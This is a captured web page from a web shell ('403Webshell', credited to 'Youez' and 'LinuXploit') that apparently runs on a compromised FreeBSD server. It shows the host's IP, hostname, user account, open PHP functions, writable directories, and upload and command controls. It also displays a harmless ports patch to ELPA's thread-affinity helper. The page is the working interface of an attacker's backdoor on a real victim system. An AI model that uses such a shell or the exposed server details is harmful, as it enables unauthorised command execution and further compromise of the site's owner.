403Webshell
Server IP : 82.208.35.60  /  Your IP : 216.73.216.89
Web Server : Apache/2.4.55 (FreeBSD) OpenSSL/1.1.1q-freebsd PHP/7.3.31
System : FreeBSD server7.d2m.cz 12.4-RELEASE-p9 FreeBSD 12.4-RELEASE-p9 GENERIC amd64
User : studiokobylisy_cz ( 1008)
PHP Version : 7.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/ports/math/elpa/files/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/ports/math/elpa/files/patch-src_helpers_check__thread__affinity.c
--- src/helpers/check_thread_affinity.c.orig	2021-11-16 11:26:03 UTC
+++ src/helpers/check_thread_affinity.c
@@ -47,29 +47,41 @@
 //
 // Author: Andreas Marek, MPCDF
 
-#define  _GNU_SOURCE
+//#define  _GNU_SOURCE
+#define __BSD_VISIBLE
 #include <stdio.h>
 #include <stdlib.h>
 #include <sched.h>
 #include <sys/types.h>
+#include <sys/_cpuset.h>
+#include <sys/cpuset.h>
 #include <unistd.h>
 
+#if FREEBSD_OSVERSION >= 1301000
+#  define HAVE_SCHED_FUNCS // sched_getcpu() and sched_getaffinity() were added in 13.1
+#endif
 
 void get_thread_affinity(int *cpu_id) {
+#if defined(HAVE_SCHED_FUNCS)
   *cpu_id = sched_getcpu();
+#else
+  *cpu_id = 0;
+#endif
 }
 
 void get_process_affinity(int cpu_id) {
-  cpu_set_t set;
+#if defined(HAVE_SCHED_FUNCS)
+  cpuset_t set;
   int ret, i;
   int cpu;
   cpu_id = 9999999 ;
-  ret = sched_getaffinity(0, sizeof(cpu_set_t), &set);
+  ret = sched_getaffinity(0, sizeof(cpuset_t), &set);
   for (i=0; i < CPU_SETSIZE; i++)
     {
       cpu = CPU_ISSET(i, &set);
       if (cpu == 1) { cpu_id = i; }
     }
+#endif
 }
 
 void get_process_id(int *process_id, int *pprocess_id) {

Youez - 2016 - github.com/yon3zu
LinuXploit